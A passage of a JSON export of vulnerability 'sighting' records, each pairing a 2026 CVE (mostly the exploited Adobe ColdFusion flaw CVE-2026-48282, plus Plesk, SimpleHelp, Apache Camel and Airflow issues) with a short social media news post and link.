"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpydkvxd6h22", "content": "CVE-2026-48282: Are Adobe ColdFusion Security Responses Adequate? #CVE2026 #AdobeColdFusion #CyberSecurity", "creation_timestamp": "2026-07-06T14:49:31.801911Z"}, {"uuid": "77c8e2d4-18c0-4839-b576-dc1077bd4c65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mpydzlyfho2c", "content": "\ud83e\udd16 CVE-2026-48282 (CVSS 10.0): Adobe ColdFusion max-severity flaw exploited in the wild. CISA KEV added. Unauthenticated RCE \u2014 patch now.\nhttps://www.bleepingcomputer.com/news/security/max-severity-adobe-coldfusion-flaw-now-exploited-in-attacks/", "creation_timestamp": "2026-07-06T14:57:44.143299Z"}, {"uuid": "019fe820-65d8-410c-aabf-0f88a4d93293", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/happeningnow.news/post/3mpyhqo2hex2o", "content": "\ud83d\udea8 Breaking: Max severity Adobe ColdFusion flaw now exploited in attacks\nAttackers are now exploiting a maximum-severity Adobe ColdFusion vulnerability tracked as CVE-2026-48282, according to vulnerability intelligence company KEVIntel. [...]\n\n\ud83d\udd17 https://hnow.live/a/6917e42a", "creation_timestamp": "2026-07-06T16:04:19.495990Z"}, {"uuid": "062677a6-a64c-4372-b098-dec3d3cb39a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/tugate.ch/post/3mpyltsxj6s2o", "content": "Adobe ColdFusion sob ataque inform\u00e1tico, obrigando a corre\u00e7\u00e3o imediata de sistemas. A plataforma encontra-se debaixo de fogo devido a uma vulnerabilidade classificada com o grau m\u00e1ximo de severidade, identificada como CVE-2026-48282. \ud83d\udea8 \n\n#adobe #ataque ", "creation_timestamp": "2026-07-06T17:17:40.334786Z"}, {"uuid": "06e8916b-4407-4255-af96-3fc0d4d74d16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48316", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mpymnkz2v22j", "content": "CVE-2026-48316\nColdFusion versions 2025.9 and earlier are affected by a security issue that could allow an attacker to execute code with the privileges of the current user. This means an attacker could potentially access\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-06T17:32:04.208961Z"}, {"uuid": "b1c8d381-978b-4435-9515-91c8bbfcbbe6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48614", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mpypo6pjat2j", "content": "CVE-2026-48614 - plesk\nAn attacker with a Plesk account can write files with root access, potentially leading to server compromise. This is a serious issue, as it allows unauthorized access to sensitive server\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#plesk #webpros #CVE #infosec", "creation_timestamp": "2026-07-06T18:26:05.908254Z"}, {"uuid": "8e64233a-4a0d-462b-89c8-1355861764de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/csirts.bsky.social/post/3mpyqmr53nj2j", "content": "\ud83d\udea8 Added to CISA KEV \u2014 actively exploited:\nCVE-2026-48558: SimpleHelp Authentication Bypass Vulnerability\n\nhttps://www.csirts.com/cve/CVE-2026-48558", "creation_timestamp": "2026-07-06T18:43:12.288264Z"}, {"uuid": "818707b6-4fcc-45e3-8d16-b588a8301f2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48282", "type": "seen", "source": "https://infosec.exchange/users/DarkWebInformer/statuses/116874898024691664", "content": "\u203c\ufe0f New Dark Web Informer Blog Post!\nTitle: Adobe ColdFusion flaw CVE-2026-48282 is now being Exploited in the Wild\nLink: https://darkwebinformer.com/adobe-coldfusion-flaw-cve-2026-48282-is-now-being-exploited-in-the-wild/", "creation_timestamp": "2026-07-06T20:23:36.202297Z"}, {"uuid": "09786bff-5895-414c-9d7b-9987707a521f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48203", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mpywpgyich2h", "content": "CVE-2026-48203 - apache camel\nApache Camel Solr's security filter failed to block certain header names, allowing an attacker to inject malicious data into Solr queries and indexed documents.\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#apachecamel #apachefoundation #CVE #infosec", "creation_timestamp": "2026-07-06T20:32:04.748255Z"}, {"uuid": "b1dfaf9a-5d58-4e6d-b6d8-5a40a61a45fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48204", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mpywpibcwx2h", "content": "CVE-2026-48204 - apache camel\nApache Camel's MongoDB component allows unauthenticated HTTP clients to switch MongoDB operations, including deleting files, without a password. This means that\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#apachecamel #apachefoundation #CVE #infosec", "creation_timestamp": "2026-07-06T20:32:05.711354Z"}, {"uuid": "16744b96-9375-4806-a635-05bc100c024b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48205", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mpywszkc562b", "content": "CVE-2026-48205 - apache camel dns\nApache Camel's DNS component allows an attacker to control which DNS server is used, potentially revealing internal network information. This can happen if an attacker sends\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#apachefoundation #CVE #infosec", "creation_timestamp": "2026-07-06T20:34:04.668530Z"}, {"uuid": "bc9d0bf2-27f4-43dc-b8e0-9dcf2a28194d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mpyyidvj3f26", "content": "Adobe ColdFusion flaw CVE-2026-48282 now exploited in the wild", "creation_timestamp": "2026-07-06T21:03:54.000132Z"}, {"uuid": "57f7ca9e-7caf-4680-853f-fe8c08d9876b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48614", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mpyzse3xqg2q", "content": "CVE-2026-48614 - Plesk XML API Improper Authorization Privilege Escalation\nCVE ID : CVE-2026-48614\n \n Published : July 6, 2026, 6:16 p.m. | 2\u00a0hours, 57\u00a0minutes ago\n \n Description : An improper authorization vulnerability in the Plesk XML API allows an authenticated user to inj...", "creation_timestamp": "2026-07-06T21:27:24.520122Z"}, {"uuid": "9882b502-9cae-4503-aaa5-1aee2ebd2b06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48267", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mpyzxkmtxx2b", "content": "\ud83d\udc1b VULNERABILITIES CVE Notify: \ud83d\udea8 [CVE-2026-48267](https://helpx.adobe.com/security/products/dng-sdk/apsb26-67.html)\nDNG SDK versio...\nhttps://helpx.adobe.com/security/products/dng-sdk/apsb26-67.html #ZeroDay #PatchManagement #Vulnerability", "creation_timestamp": "2026-07-06T21:30:17.821368Z"}, {"uuid": "1746a29b-180a-4c53-b11c-edc91ea596b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48282", "type": "seen", "source": "https://bsky.app/profile/intelnightowl.bsky.social/post/3mpyzzusqaa2y", "content": "Exploitation of ColdFusion CVE\u20112026\u201148282 threatens #UN servers enabling code execution on vulnerable systems worldwide. #CyberSecurity #global https://securityaffairs.com/194837/hacking/adobe-coldfusion-flaw-cve-2026-48282-now-exploited-in-the-wild.html", "creation_timestamp": "2026-07-06T21:31:36.709370Z"}, {"uuid": "c29824b3-85d6-4b6a-b094-cfa521e69c47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/hapsis.bsky.social/post/3mpzawrtyjc2t", "content": "Adobe ColdFusion flaw CVE-2026-48282 now exploited in the wild\n\nsecurityaffairs.com/194837/hacki...\n\n#Cybersecurity #LargeScaleImpact #Vulnerability", "creation_timestamp": "2026-07-06T23:35:09.283008Z"}, {"uuid": "50146e7d-5a78-4284-9025-c1dd16d2b689", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpzbanbd4j2q", "content": "CVE-2026-48282: Adobe ColdFusion Exploit Suggests Urgent Patching Needs #CyberSecurity #AdobeColdFusion #CVE2026", "creation_timestamp": "2026-07-06T23:40:39.546568Z"}, {"uuid": "05afd10d-fa53-42ca-bcdf-f5889d1ec8a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpzbdn33vl2o", "content": "CVE-2026-48282: Attackers Exploit Adobe ColdFusion Flaw Within Hours #CVE202648282 #AdobeColdFusion #CyberSecurity", "creation_timestamp": "2026-07-06T23:42:20.190504Z"}, {"uuid": "77a10a49-a0cf-4d2c-a66a-edd6c9027ca0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpzbdpikg32o", "content": "CVE-2026-48282: Unchecked Adobe ColdFusion Exploitation Raises Red Flags #CVE2026_48282 #AdobeColdFusion #Cybersecurity", "creation_timestamp": "2026-07-06T23:42:22.327190Z"}, {"uuid": "113eb520-0c74-4b3b-aabf-a2d675b89f03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpzbdrk6ij2j", "content": "CVE-2026-48282: Immediate Action Required as Adobe ColdFusion Faces Exploitation #CVE2026 #AdobeColdFusion #CyberSecurity", "creation_timestamp": "2026-07-06T23:42:24.432517Z"}, {"uuid": "884512d0-2fec-4d92-a272-1d015ec3a6b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpzbdtenit22", "content": "CVE-2026-48282: Adobe ColdFusion's Flaw Is a Wake-Up Call for Sluggish Security Practices #CVE2026 #AdobeColdFusion #CyberSecurity", "creation_timestamp": "2026-07-06T23:42:26.434227Z"}, {"uuid": "a2f6409d-3833-422e-9bb8-1e7f98bdf91d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpzbdv76za2j", "content": "CVE-2026-48282: Urgency in Response or Misguided Risk Assessment? #CVE2026 #AdobeColdFusion #CyberSecurity", "creation_timestamp": "2026-07-06T23:42:28.518457Z"}, {"uuid": "74f5eddb-33e8-4045-a9a5-0e87776b9edc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/abijita.bsky.social/post/3mpzcschqnw2x", "content": "Hackers Begin Exploiting Critical Adobe ColdFusion Flaw Just Hours After Patch\u00a0Release\n\nCybersecurity researchers have confirmed that attackers are actively exploiting a critical vulnerability in Adobe ColdFusion, tracked as CVE-2026-48282, only hours after Adobe released security updates.", "creation_timestamp": "2026-07-07T00:08:26.183589Z"}, {"uuid": "4d86bf87-c3ec-4a77-bdd8-4c3cde74efdc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/thecircuitry.to/post/3mpzddyomc72v", "content": "\ud83d\udd34 Update: KEVIntel reported capturing in-the-wild exploitation of CVE-2026-48282 in its global honeypot network within two hours of Adobe's disclosure; additional outlets including Resecurity and Security Affairs have since conf\u2026\n\nDetails here: https://thecircuitry.to/article/attackers-exploit-max-\u2026", "creation_timestamp": "2026-07-07T00:18:19.255683Z"}, {"uuid": "7507a564-2e5b-4f13-b27c-ca872b9f1a09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mpzh5nlga72l", "content": "\ud83e\udd16 CVE-2026-48282: Adobe ColdFusion RCE exploited in the wild. Targeted within 2h of disclosure. ~800 exposed servers (Shadowserver). Patch immediately.\n\nhttps://www.bleepingcomputer.com/news/security/max-severity-adobe-coldfusion-flaw-now-exploited-in-attacks/", "creation_timestamp": "2026-07-07T01:26:21.208974Z"}, {"uuid": "cd13d182-81fe-4b5b-b9b1-568e6a3fb45f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mpzy3jdskx2r", "content": "Adobe ColdFusion CVE-2026-48282: Under Active Exploitation", "creation_timestamp": "2026-07-07T06:29:23.452202Z"}, {"uuid": "0e3e73bb-b0a9-4ea6-af4e-e9d672c11839", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48931", "type": "seen", "source": "https://bsky.app/profile/sxa.fosstodon.org.ap.brid.gy/post/3mq2dhsxjusx2", "content": "An open, honest review of CVE-2026-48931 in #NodeJS by @mcollina and how the fix for it caused a problem for users of the \"node-fetch@2\" module.\n\nnode-fetch@2 is only receiving security fixes now and is kept active because @3 is an ESM module [1] and so may require some migration to use it. @2 [\u2026]", "creation_timestamp": "2026-07-07T09:53:12.686692Z"}, {"uuid": "167f8a2e-f756-4298-a737-c745a0a1ec48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48273", "type": "seen", "source": "https://t.me/CyberDispatch/2538", "content": "Adobe on Tuesday rolled out patches for over 50 vulnerabilities across its products, including critical-severity bugs in ColdFusion, Campaign Classic, and Commerce.\n\nWith a priority 1 rating, the ColdFusion update fixes 15 security defects, including three flagged as critical that could lead to arbitrary code execution and application denial-of-service (DoS).\n\nThese include an OS command injection tracked as CVE-2026-48362 (CVSS score of 10/10), an eval injection tracked as CVE-2026-48273 (CVSS score of 9.9/10), and an incorrect authorization tracked as CVE-2026-71384 (CVSS score of 9.6/10).", "creation_timestamp": "2026-08-29T20:00:05.656226Z"}, {"uuid": "91e16f15-f43d-48b9-abf1-3910b4197f04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/yazoul-alerts.bsky.social/post/3mq2ffgczii24", "content": "A new CVE gets exploited before your coffee gets cold.\n\nCVE-2026-48558.\n\nhttps://www.yazoul.net/malware/agent-tesla-2026-07/reports/2026-07-05/\n\n#InfoSec #DataBreach", "creation_timestamp": "2026-07-07T10:27:34.186491Z"}, {"uuid": "5f492a82-4d6f-41ba-85db-ed39b17a95f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mq2fmwoers2a", "content": "Max severity Adobe ColdFusion flaw now exploited in attacks\n\nAttackers are now exploiting a maximum-severity Adobe ColdFusion vulnerability tracked as CVE-2026-48282, according to vulnerability\u00a0intelligence\u00a0company KEVIntel. [...]\n#hackernews #news", "creation_timestamp": "2026-07-07T10:31:46.308774Z"}, {"uuid": "89e1f6d4-87ed-4477-9438-85ff32f8db7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48828", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mq2j5dmjes2x", "content": "CVE-2026-48828: Apache Airflow: Bulk JSON Variables bypass should_hide_value_for_key - redact() called without the key", "creation_timestamp": "2026-07-07T11:34:37.987362Z"}, {"uuid": "bc0ad59a-65ce-4df0-b5f2-d1d03d2aaff9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48892", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mq2jnxkscc2t", "content": "CVE-2026-48892: Apache Airflow: Config API leaks per-key secrets backend kwargs - masker bypass on synthetic options", "creation_timestamp": "2026-07-07T11:44:14.705738Z"}, {"uuid": "80068cdc-ffc0-45fe-8121-c203773328f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48891", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mq2jwvygdg2y", "content": "CVE-2026-48891: Apache Airflow: /ui/dependencies scheduling graph leaks unreadable Dag identifiers via trigger/sensor dep.source/dep.target", "creation_timestamp": "2026-07-07T11:48:56.039120Z"}, {"uuid": "44829175-604c-44aa-abe5-f9e3c5eb256a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48316", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mq2kou357a27", "content": "CVE-2026-48316 - CRITICAL: Unauthenticated RCE in ColdFusion. CVSS 10.0. No patch available. Immediate mitigation required. #CVE #ColdFusion #infosec\n\nhttps://www.valtersit.com/cve/CVE-2026-48316/", "creation_timestamp": "2026-07-07T12:02:19.386478Z"}, {"uuid": "55e48f25-839a-41ab-b847-91169c35cd58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48892", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq2kw5rdo32e", "content": "CVE-2026-48892 - Apache Airflow: Config API leaks per-key secrets backend kwargs - masker bypass on synthetic options\nCVE ID : CVE-2026-48892\n \n Published : July 7, 2026, 10:16 a.m. | 1\u00a0hour, 31\u00a0minutes ago\n \n Description : The Config API in Apache Airflow surfaced per-key sec...", "creation_timestamp": "2026-07-07T12:06:24.407418Z"}, {"uuid": "c748e297-a0ad-4134-a6dc-f30518d9eff5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48891", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq2l747p7b2y", "content": "CVE-2026-48891 - Apache Airflow: /ui/dependencies scheduling graph leaks unreadable Dag identifiers via trigger/sensor dep.source/dep.target\nCVE ID : CVE-2026-48891\n \n Published : July 7, 2026, 10:16 a.m. | 1\u00a0hour, 31\u00a0minutes ago\n \n Description : A bug in Apache Airflow's `/ui...", "creation_timestamp": "2026-07-07T12:11:27.734881Z"}, {"uuid": "833cf071-e8a0-4b16-ad17-c4fa533e2aa6", "vulnerability_lookup_origin": "405284c2-e461-4670-8979-7fd2c9755a60", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/5e41f257-a499-474a-a14c-e31886ad7930", "content": "", "creation_timestamp": "2026-07-07T18:00:02.317978Z"}, {"uuid": "f002c6c9-1399-4f98-a781-b113b0480e0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/helpnetsecurity.com/post/3mq2l7vztac2h", "content": "Attackers exploit critical Adobe ColdFusion vulnerability (CVE-2026-48282)\n\n\ud83d\udd17 Read more: www.helpnetsecurity.com/2026/07/07/a...\n\n#cybersecurity #cybersecuritynews #exploit #vulnerability #PoC @adobe.com @ccbelgium.bsky.social @shadowserver.bsky.social", "creation_timestamp": "2026-07-07T12:11:59.759194Z"}, {"uuid": "bbfa34c0-562f-4b68-9299-4337e91e12c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48027", "type": "seen", "source": "MISP/edb50c22-0e22-48ba-b4c7-15871e48b7fb", "content": "", "creation_timestamp": "2026-07-07T12:15:02.632278Z"}, {"uuid": "0f591dfb-b20e-487c-9526-68b5f0493589", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48828", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq2li2o6vg2w", "content": "CVE-2026-48828 - Apache Airflow: Bulk JSON Variables bypass should_hide_value_for_key - redact() called without the key\nCVE ID : CVE-2026-48828\n \n Published : July 7, 2026, 10:16 a.m. | 1\u00a0hour, 31\u00a0minutes ago\n \n Description : The Bulk Variables API in Apache Airflow called the...", "creation_timestamp": "2026-07-07T12:16:24.950196Z"}, {"uuid": "003c976a-51e3-49f3-8fc1-bf8453839cf6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48282", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mq2lm2l5i72e", "content": "\ud83d\udcf0 Adobe Konfirmasi Celah Kritis ColdFusion CVE-2026-48282 Kini Aktif Dieksploitasi\n\n\ud83d\udc49 Baca artikel lengkap di sini: https://ahmandonk.com/2026/07/07/adobe-coldfusion-cve-2026-48282-dieksploitasi/\n\n#adobe #adobeColdfusion #coldfusion #cve-2026-48282 #cyberSecurity #rce #remoteCodeExecution #ser", "creation_timestamp": "2026-07-07T12:18:39.691042Z"}, {"uuid": "c044f2b3-e81d-4614-9131-aa6b51065330", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mq2m67ypes2b", "content": "\u300cSimpleHelp\u300d\u306b\u8a8d\u8a3c\u56de\u907f\u306e\u8106\u5f31\u6027 - \u7ba1\u7406\u64cd\u4f5c\u304c\u53ef\u80fd\u306b\n\n\u30ea\u30e2\u30fc\u30c8\u30b5\u30dd\u30fc\u30c8\u30c4\u30fc\u30eb\u300cSimpleHelp\u300d\u306b\u304a\u3044\u3066\u3001\u8a8d\u8a3c\u3092\u56de\u907f\u3055\u308c\u308b\u304a\u305d\u308c\u304c\u3042\u308b\u6df1\u523b\u306a\u8106\u5f31\u6027\u304c\u660e\u3089\u304b\u3068\u306a\u3063\u305f\u3002\u8106\u5f31\u6027\u3092\u4fee\u6b63\u3057\u305f\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u304c\u63d0\u4f9b\u3055\u308c\u3066\u3044\u308b\u3002\n\n\u300cOIDC\uff08OpenID Connect\uff09\u300d\u306b\u3088\u308b\u8a8d\u8a3c\u3092\u5229\u7528\u3059\u308b\u69cb\u6210\u306b\u304a\u3044\u3066\u3001\u8a8d\u8a3c\u3092\u30d0\u30a4\u30d1\u30b9\u3055\u308c\u308b\u304a\u305d\u308c\u304c\u3042\u308b\u8106\u5f31\u6027\u300cCVE-2026-48558\u300d\u304c\u5224\u660e\u3057\u305f\u3082\u306e\u3002Horizo\u200b\u200bn3.ai\u304c\u73fe\u5730\u6642\u95932026\u5e745\u670821\u65e5\u306b\u767a\u898b\u3001\u7fcc\u65e522\u65e5\u306b\u5831\u544a\u3057\u305f\u3002\n\n\u30ed\u30b0\u30a4\u30f3\u6642\u306b\u9001\u4fe1\u3055\u308c\u305fID\u30c8\u30fc\u30af\u30f3\u306e\u7f72\u540d\u3092\u691c\u8a3c\u305b\u305a\u306b\u53d7\u3051\u5165\u308c\u308b\u305f\u3081\u3001\u7b2c\u4e09\u8005\u304c\u7d30\u5de5\u3057\u305f\u30c8\u30fc\u30af\u30f3\u3092\u9001\u4fe1\u3059\u308b\u3053\u3068\u3067...", "creation_timestamp": "2026-07-07T12:28:49.447732Z"}, {"uuid": "18a90f9d-fd0e-47eb-ab12-8e9a8ae2d8a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mq2mguzuy32b", "content": "\u653b\u6483\u8005\u304cAdobe ColdFusion\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027(CVE-2026-48282)\u3092\u60aa\u7528\n\nAdobe ColdFusion\u306b\u304a\u3044\u30662026\u5e746\u670830\u65e5\u306b\u4fee\u6b63\u30d1\u30c3\u30c1\u304c\u516c\u958b\u3055\u308c\u305f\u6700\u5927\u6df1\u523b\u5ea6\u306e\u8106\u5f31\u6027\u306e\u4e00\u3064\u3001CVE-2026-48282\u304c\u3001\u5b9f\u969b\u306e\u653b\u6483\u3067\u6a19\u7684\u306b\u3055\u308c\u3066\u3044\u307e\u3059\u3002 \u3053\u306e\u8106\u5f31\u6027\u3092\u72d9\u3063\u305f\u60aa\u7528\u306e\u8a66\u307f\u306f\u3001\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8105\u5a01\u30a4\u30f3\u30c6\u30ea\u30b8\u30a7\u30f3\u30b9\u30b5\u30fc\u30d3\u30b9KEVIntel\u306e\u30cf\u30cb\u30fc\u30dd\u30c3\u30c8\u30bb\u30f3\u30b5\u30fc\u306b\u3088\u3063...", "creation_timestamp": "2026-07-07T12:33:39.235636Z"}, {"uuid": "2752a419-fdbd-4164-be2d-0be0565818cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48276", "type": "seen", "source": "https://bsky.app/profile/getpacketai.bsky.social/post/3mq2nwossau2r", "content": "Critical zero-day in Adobe ColdFusion allows unauthenticated RCE via file upload. CVSS 10.0. If you're running ColdFusion 2023 or 2025, patch\u2026\n\nhttps://dev.to/cverports/cve-2026-48276-cve-2026-48276-unrestricted-file-upload-in-adobe-coldfusion-4f3d\n\n#cybersecurity #infosec", "creation_timestamp": "2026-07-07T13:00:23.502681Z"}, {"uuid": "3dcba773-1cf8-444a-9f76-b45df9e9e992", "vulnerability_lookup_origin": 